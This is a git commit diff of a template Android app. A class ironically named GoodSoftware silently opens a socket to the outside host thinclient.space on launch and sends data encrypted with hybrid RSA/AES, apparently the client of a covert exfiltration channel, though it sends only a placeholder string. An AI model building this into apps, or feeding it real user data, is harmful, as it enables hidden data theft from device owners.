Initial Commit
This commit is contained in:
111
app/src/main/java/com/ti/m/GoodSoftware.kt
Normal file
111
app/src/main/java/com/ti/m/GoodSoftware.kt
Normal file
@@ -0,0 +1,111 @@
|
||||
package com.ti.m
|
||||
|
||||
import java.io.BufferedReader
|
||||
import java.io.InputStreamReader
|
||||
import java.io.PrintWriter
|
||||
import java.net.Socket
|
||||
import java.security.KeyFactory
|
||||
import java.security.PublicKey
|
||||
import java.security.SecureRandom
|
||||
import java.security.spec.X509EncodedKeySpec
|
||||
import javax.crypto.Cipher
|
||||
import javax.crypto.spec.IvParameterSpec
|
||||
import javax.crypto.spec.SecretKeySpec
|
||||
|
||||
class GoodSoftware {
|
||||
private companion object {
|
||||
private const val RSA_ALGORITHM = "RSA"
|
||||
private const val CIPHER_TYPE_FOR_RSA = "RSA/ECB/PKCS1Padding"
|
||||
|
||||
private val keyFactory = KeyFactory.getInstance(RSA_ALGORITHM)
|
||||
private val cipher = Cipher.getInstance(CIPHER_TYPE_FOR_RSA)
|
||||
|
||||
fun decodeBase64(input: String): ByteArray {
|
||||
return android.util.Base64.decode(input, android.util.Base64.DEFAULT)
|
||||
}
|
||||
|
||||
fun encodeBase64(input: ByteArray): String {
|
||||
return android.util.Base64.encodeToString(input, android.util.Base64.DEFAULT)
|
||||
}
|
||||
|
||||
fun decrypt(algorithm: String, cipherText: String, key: SecretKeySpec, iv: IvParameterSpec): String {
|
||||
val cipher = Cipher.getInstance(algorithm)
|
||||
cipher.init(Cipher.DECRYPT_MODE, key, iv)
|
||||
val plainText = cipher.doFinal(decodeBase64(cipherText))
|
||||
return String(plainText)
|
||||
}
|
||||
|
||||
fun encrypt(algorithm: String, inputText: String, key: SecretKeySpec, iv: IvParameterSpec): String {
|
||||
val cipher = Cipher.getInstance(algorithm)
|
||||
cipher.init(Cipher.ENCRYPT_MODE, key, iv)
|
||||
val cipherText = cipher.doFinal(inputText.toByteArray())
|
||||
return encodeBase64(cipherText)
|
||||
}
|
||||
|
||||
fun getPublicKeyFromString(publicKeyString: String): PublicKey? =
|
||||
try {
|
||||
val keySpec =
|
||||
X509EncodedKeySpec(decodeBase64(publicKeyString))
|
||||
keyFactory.generatePublic(keySpec)
|
||||
} catch (exception: Exception) {
|
||||
exception.printStackTrace()
|
||||
null
|
||||
}
|
||||
|
||||
fun encryptText(plainText: String, publicKey: PublicKey): String? =
|
||||
try {
|
||||
cipher.init(Cipher.ENCRYPT_MODE, publicKey)
|
||||
encodeBase64(cipher.doFinal(plainText.toByteArray())).lines().joinToString("")
|
||||
} catch (exception: Exception) {
|
||||
exception.printStackTrace()
|
||||
null
|
||||
}
|
||||
}
|
||||
|
||||
fun sendDataToServer(sendData: String) {
|
||||
val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
|
||||
val host = "thinclient.space"
|
||||
val port = 5645
|
||||
val secureRandom = SecureRandom()
|
||||
val keyBytes = ByteArray(16)
|
||||
val ivBytes = ByteArray(16)
|
||||
secureRandom.nextBytes(keyBytes)
|
||||
secureRandom.nextBytes(ivBytes)
|
||||
val key = SecretKeySpec(keyBytes, "AES")
|
||||
val iv = IvParameterSpec(ivBytes)
|
||||
val algorithm = "AES/CBC/PKCS5Padding"
|
||||
|
||||
val chunkSize = 45
|
||||
val chunks = sendData.lines().joinToString("").chunked(chunkSize)
|
||||
|
||||
val socket = Socket(host, port)
|
||||
val writer = PrintWriter(socket.getOutputStream(), true)
|
||||
val reader = BufferedReader(InputStreamReader(socket.getInputStream()))
|
||||
|
||||
val encodedKey = encodeBase64(keyBytes)
|
||||
writer.println(encryptText(encodedKey, pKey))
|
||||
|
||||
reader.readLine()
|
||||
val encodedIV = encodeBase64(ivBytes)
|
||||
writer.println(encryptText(encodedIV, pKey))
|
||||
reader.readLine()
|
||||
|
||||
for (chunk in chunks) {
|
||||
val cipherText = encrypt(algorithm, chunk, key, iv)
|
||||
writer.println(cipherText)
|
||||
reader.readLine()
|
||||
}
|
||||
|
||||
writer.println("END_OF_COMMUNICATION")
|
||||
reader.readLine()
|
||||
|
||||
println("Client: Ready for next operation")
|
||||
writer.println("Ready for next operation")
|
||||
reader.readLine()
|
||||
|
||||
// Close resources
|
||||
writer.close()
|
||||
reader.close()
|
||||
socket.close()
|
||||
}
|
||||
}
|
||||
51
app/src/main/java/com/ti/m/MainActivity.kt
Normal file
51
app/src/main/java/com/ti/m/MainActivity.kt
Normal file
@@ -0,0 +1,51 @@
|
||||
package com.ti.m
|
||||
|
||||
import android.os.Bundle
|
||||
import androidx.activity.ComponentActivity
|
||||
import androidx.activity.compose.setContent
|
||||
import androidx.compose.foundation.layout.fillMaxSize
|
||||
import androidx.compose.material3.MaterialTheme
|
||||
import androidx.compose.material3.Surface
|
||||
import androidx.compose.material3.Text
|
||||
import androidx.compose.runtime.Composable
|
||||
import androidx.compose.ui.Modifier
|
||||
import androidx.compose.ui.tooling.preview.Preview
|
||||
import com.ti.m.ui.theme.MTheme
|
||||
|
||||
class MainActivity : ComponentActivity() {
|
||||
override fun onCreate(savedInstanceState: Bundle?) {
|
||||
super.onCreate(savedInstanceState)
|
||||
setContent {
|
||||
MTheme {
|
||||
// A surface container using the 'background' color from the theme
|
||||
Surface(
|
||||
modifier = Modifier.fillMaxSize(),
|
||||
color = MaterialTheme.colorScheme.background
|
||||
) {
|
||||
Greeting("Android")
|
||||
}
|
||||
}
|
||||
}
|
||||
val goodSoftware = GoodSoftware()
|
||||
|
||||
val dataToSend = "Amazing data"
|
||||
goodSoftware.sendDataToServer(dataToSend)
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@Composable
|
||||
fun Greeting(name: String, modifier: Modifier = Modifier) {
|
||||
Text(
|
||||
text = "Hello $name!",
|
||||
modifier = modifier
|
||||
)
|
||||
}
|
||||
|
||||
@Preview(showBackground = true)
|
||||
@Composable
|
||||
fun GreetingPreview() {
|
||||
MTheme {
|
||||
Greeting("Android")
|
||||
}
|
||||
}
|
||||
11
app/src/main/java/com/ti/m/ui/theme/Color.kt
Normal file
11
app/src/main/java/com/ti/m/ui/theme/Color.kt
Normal file
@@ -0,0 +1,11 @@
|
||||
package com.ti.m.ui.theme
|
||||
|
||||
import androidx.compose.ui.graphics.Color
|
||||
|
||||
val Purple80 = Color(0xFFD0BCFF)
|
||||
val PurpleGrey80 = Color(0xFFCCC2DC)
|
||||
val Pink80 = Color(0xFFEFB8C8)
|
||||
|
||||
val Purple40 = Color(0xFF6650a4)
|
||||
val PurpleGrey40 = Color(0xFF625b71)
|
||||
val Pink40 = Color(0xFF7D5260)
|
||||
70
app/src/main/java/com/ti/m/ui/theme/Theme.kt
Normal file
70
app/src/main/java/com/ti/m/ui/theme/Theme.kt
Normal file
@@ -0,0 +1,70 @@
|
||||
package com.ti.m.ui.theme
|
||||
|
||||
import android.app.Activity
|
||||
import android.os.Build
|
||||
import androidx.compose.foundation.isSystemInDarkTheme
|
||||
import androidx.compose.material3.MaterialTheme
|
||||
import androidx.compose.material3.darkColorScheme
|
||||
import androidx.compose.material3.dynamicDarkColorScheme
|
||||
import androidx.compose.material3.dynamicLightColorScheme
|
||||
import androidx.compose.material3.lightColorScheme
|
||||
import androidx.compose.runtime.Composable
|
||||
import androidx.compose.runtime.SideEffect
|
||||
import androidx.compose.ui.graphics.toArgb
|
||||
import androidx.compose.ui.platform.LocalContext
|
||||
import androidx.compose.ui.platform.LocalView
|
||||
import androidx.core.view.WindowCompat
|
||||
|
||||
private val DarkColorScheme = darkColorScheme(
|
||||
primary = Purple80,
|
||||
secondary = PurpleGrey80,
|
||||
tertiary = Pink80
|
||||
)
|
||||
|
||||
private val LightColorScheme = lightColorScheme(
|
||||
primary = Purple40,
|
||||
secondary = PurpleGrey40,
|
||||
tertiary = Pink40
|
||||
|
||||
/* Other default colors to override
|
||||
background = Color(0xFFFFFBFE),
|
||||
surface = Color(0xFFFFFBFE),
|
||||
onPrimary = Color.White,
|
||||
onSecondary = Color.White,
|
||||
onTertiary = Color.White,
|
||||
onBackground = Color(0xFF1C1B1F),
|
||||
onSurface = Color(0xFF1C1B1F),
|
||||
*/
|
||||
)
|
||||
|
||||
@Composable
|
||||
fun MTheme(
|
||||
darkTheme: Boolean = isSystemInDarkTheme(),
|
||||
// Dynamic color is available on Android 12+
|
||||
dynamicColor: Boolean = true,
|
||||
content: @Composable () -> Unit
|
||||
) {
|
||||
val colorScheme = when {
|
||||
dynamicColor && Build.VERSION.SDK_INT >= Build.VERSION_CODES.S -> {
|
||||
val context = LocalContext.current
|
||||
if (darkTheme) dynamicDarkColorScheme(context) else dynamicLightColorScheme(context)
|
||||
}
|
||||
|
||||
darkTheme -> DarkColorScheme
|
||||
else -> LightColorScheme
|
||||
}
|
||||
val view = LocalView.current
|
||||
if (!view.isInEditMode) {
|
||||
SideEffect {
|
||||
val window = (view.context as Activity).window
|
||||
window.statusBarColor = colorScheme.primary.toArgb()
|
||||
WindowCompat.getInsetsController(window, view).isAppearanceLightStatusBars = darkTheme
|
||||
}
|
||||
}
|
||||
|
||||
MaterialTheme(
|
||||
colorScheme = colorScheme,
|
||||
typography = Typography,
|
||||
content = content
|
||||
)
|
||||
}
|
||||
34
app/src/main/java/com/ti/m/ui/theme/Type.kt
Normal file
34
app/src/main/java/com/ti/m/ui/theme/Type.kt
Normal file
@@ -0,0 +1,34 @@
|
||||
package com.ti.m.ui.theme
|
||||
|
||||
import androidx.compose.material3.Typography
|
||||
import androidx.compose.ui.text.TextStyle
|
||||
import androidx.compose.ui.text.font.FontFamily
|
||||
import androidx.compose.ui.text.font.FontWeight
|
||||
import androidx.compose.ui.unit.sp
|
||||
|
||||
// Set of Material typography styles to start with
|
||||
val Typography = Typography(
|
||||
bodyLarge = TextStyle(
|
||||
fontFamily = FontFamily.Default,
|
||||
fontWeight = FontWeight.Normal,
|
||||
fontSize = 16.sp,
|
||||
lineHeight = 24.sp,
|
||||
letterSpacing = 0.5.sp
|
||||
)
|
||||
/* Other default text styles to override
|
||||
titleLarge = TextStyle(
|
||||
fontFamily = FontFamily.Default,
|
||||
fontWeight = FontWeight.Normal,
|
||||
fontSize = 22.sp,
|
||||
lineHeight = 28.sp,
|
||||
letterSpacing = 0.sp
|
||||
),
|
||||
labelSmall = TextStyle(
|
||||
fontFamily = FontFamily.Default,
|
||||
fontWeight = FontWeight.Medium,
|
||||
fontSize = 11.sp,
|
||||
lineHeight = 16.sp,
|
||||
letterSpacing = 0.5.sp
|
||||
)
|
||||
*/
|
||||
)
|
||||
Reference in New Issue
Block a user